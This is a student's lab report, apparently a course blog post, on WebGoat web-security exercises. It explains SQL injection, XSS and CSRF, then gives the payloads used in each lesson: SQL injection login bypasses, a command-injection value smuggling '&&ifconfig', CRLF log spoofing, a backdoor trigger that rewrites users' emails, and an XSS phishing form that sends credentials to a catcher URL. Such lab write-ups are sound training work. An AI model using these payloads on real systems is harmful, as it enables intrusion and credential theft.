20145218张晓涵 web安全基础实践
1.实验后回答问题
SQL注入攻击原理,如何防御
- SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。
- SQL注入一般分为普通注入和盲注。
- 普通注入:后台数据库会回显有价值的提示信息,通过这些可能的报错信息可以更容易地进行注入,适合新手入门训练。
- 盲注:后台管理员在给出错误页面时,没有提供详细错误信息。攻击者需要运用脚本通过仅有的判断信息(比如时间差)对表中的每一个字段进行探测,从而实现注入。
- 防御:对输入的数据进行过滤,过滤掉敏感字符。加密数据库。
XSS攻击的原理,如何防御
- 攻击者利用网站漏洞(通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。
- 浏览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段。
CSRF攻击原理,如何防御
- CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。如用户当前已经登录了邮箱,或bbs,同时用户又在使用另外一个,已经被你控制的站点,我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,由于当前你的浏览器状态已经是登陆状态,所以session登陆cookie信息都会跟正常的请求一样,纯天然的利用当前的登陆状态,让用户在不知情的情况下,帮你发帖或干其他事情
- 通过 referer、token 或者 验证码 来检测用户提交。尽量不要在页面的链接中暴露用户隐私信息。对于用户修改删除等操作最好都使用post 操作 。避免全站通用的cookie,严格设置cookie的域。
实验感想
这次实验确实学到了很多东西,也很有意思,但是电脑很卡!逐渐掌握了一点点套路以后还以为能快一点,结果点个burpsuite都要半天。这次先做了11个还想多做几个,但是时间不够了可以先发表博客。
实践过程
webgoat开启
-
输入
java -jar webgoat-container-7.0.1-war-exec.jar
,
-
在浏览器输入localhost:8080/WebGoat,进入webgoat
SQL字符串注入(String SQL Injection)
- 让我们试一试使用SQL注入,从而显示出所有信用卡号。可以先输入Smith试一试,发现出现在
SELECT * FROM user_data WHERE last_name = 'Smith'
两个单引号中间,也就是我们可以通过控制在输入框中输入的字符串,达到控制select语句的目的。 - 输入
'or 1='1
,语句就变成SELECT * FROM user_data WHERE last_name = ''or 1='1'
,这句的意思就是查询lastname='' OR(或者)1='1' ,这里的 1='1' 永远为真,所以成功通过。 图4
日志欺骗(Log Spoofing)
- 利用日志的格式,使用换行等字符,欺骗管理员:Use CR (%0d) and LF (%0a) for a new line。
- 比如输入
hh%0d%0aLogin Succeeded for username: admin
图5
Numeric SQL Injection
-
根据执行
SQLSELECT * FROM weather_data WHERE station = 101
,注入SQLSELECT * FROM weather_data WHERE station = 101 or 1=1
,修改属性值。 -
使用burpsuite作为网页代理,对传送的网页内容进行编辑以后再发到服务器
-
修改station值从为101 为 101 or 1=1,点击GO,可以看到右边response包中的SQL语句为
SELECT * FROM weather_data WHERE station = 101 or 1=1。 图7
-
回到火狐发现已经成功了 图6
Command Injection
- 点击view执行时使用了cmd.exe 直接运行dos指令。那么需要找到可以连接dos指令的符号。
- 可以使用“&”,命令连接符号,就是把两个命令连续执行,不用换行。用来分隔一个命令行中的多个命令。Cmd命令提示符先运行第一个命令,然后运行第二个命令。
- 或者&&,只有在符号“&&”前面的命令成功后,才运行该符号后面的命令。Cmd命令提示符先运行第一个命令,然后在第一个命令运行成功后才运行第二个命令。命令格式“command1 && command2”。
- 找到可注入部分,注入语句
AccessControlMatrix.help"&&ifconfig"
,成功 图8
Stage 1: String SQL Injection
-
很多网站密码验证都是 select * from User where username=''and password ='',在这里我们要在password = ''这里进行注入,理论上只要pwd = ' or 1=1 --。那么执行语句就被改成了:select * from User where username=''and password ='' or 1 = 1 --',这样就可以登陆任何用户了
-
但是我们在password栏里输入'or1=1--以后,感觉肯定要失败,毕竟密码栏里只能输入八位而我们连个空格都没有 图9
-
进行抓包查看,果然 图10
-
然后在密码栏上右键选择inspect Element,进行密码长度修改 修改密码.jpg 然后再输入' or 1=1 --,发现成功 图11
Stage 3: Numeric SQL Injection
-
首先登陆larry,方法跟上一个一模一样,先修改密码长度然后登陆 图12
-
题目要求是使用SQL注入来提权,来查找Neville的相关信息。ViewProfile可以浏览员工信息,可以通过抓包修改员工id,看看能不能找到其他人,但是发现还是larry啊
-
看html文件,地方数据库应该是以员工ID作为索引,返回的是每次查询到的第一条数据,用社会工程学解释老板应该是工资最高的,所以为了把老板排到第一个SQL注入排序如下
112 or 1=1 order by salary desc --
,然后可以看到老板的信息 图15
Database Backdoors
-
可以创建一个触发器,该触发器在创建新用户时,将每个新用户的Email地址设置为攻击者的地址。
-
正常情况下在如下页面输入工号,进行查询一些信息 图21
-
后来发现客户端输入的查询语句没有在服务器端进行验证。 当我们输入如下代码时:101; update employee set salary=10000,服务器为我们执行了更新。图22
-
因此我们可以创建如下触发器,使没创建一个新用户的时候,自动为其填充为我们所希望的邮箱。101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='邮箱' WHERE userid = NEW.userid 图23
Phishing with XSS
-
在搜索框中输入XSS攻击代码,需要实现的目的有三个:一、插入请求认证的html;二、添加JavaScript来收集认真信息;三、将认真信息传递http://localhost:8080/WebGoat/catcher?PROPERTY=yes
-
我们输入任何内容,点击“Search”后会显示在左下角,图17
-
我们可以在输入栏里输入一个html代码,添加html认证信息,通过提交时将认证信息提交服务器。最终成功的代码为
</form><script>function hack()
{ XSSImage=new Image;
XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);}
</script>
<form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
- 成功了 图16
Reflected XSS Attacks
-
在相应信息栏输入包含URL值的内容,使当前页面跳转到另一个(指定)网页,或者当用户点击purchase的时候跳出恶意信息。
-
首先要弄清楚在哪个栏中输入可以干扰网页。一个个的试呗,最后发现是最后一个框框,输入
<script>alert("5218says hello");</script>
,点击purchase,可以看到如下弹出的对话框 图18
-
也可以输入指定URL值(login.html是上次实验中编写的,存储在/var/www/html目录下):
<script>window.location.href="http://127.0.0.1:8088/login.html";</script>
图19
Stored XSS Attacks
- 利用脚本语言在网页中编写非法的留言内容,使得其他用户访问该页面的时候执行编写的脚本。
- 类似于在HTML文件中插入一段script执行脚本,在message栏中编写这段script就可以。我是只写了一句alert,
<script>alert("attacked by zxh");</script>
图20
Cross Site Request Forgery (CSRF)
-
原理:
- 用户登录可信任的网站A(存在缺陷的交易网站);
- 网站A返回登录session信息并将session存储在本地cookie;
- 用户访问其他网站B(论坛、好友发送页面),网站B中包含执行网站A相关操作的请求操作(转账URL、退款URL)并且能够直接执行;
- 网站B页面加载过程中携带网站A的cookie将请求发送到网站A的服务器;
- 网站A服务器根据请求校验用户信息后执行具体操作(资金损失),从而达到了模拟用户在网站A的相关操作使用户或者网站A遭受伤害或损失。
-
在message里面输入,来构造邮件
-
查看刚刚的邮件
-
成功小列表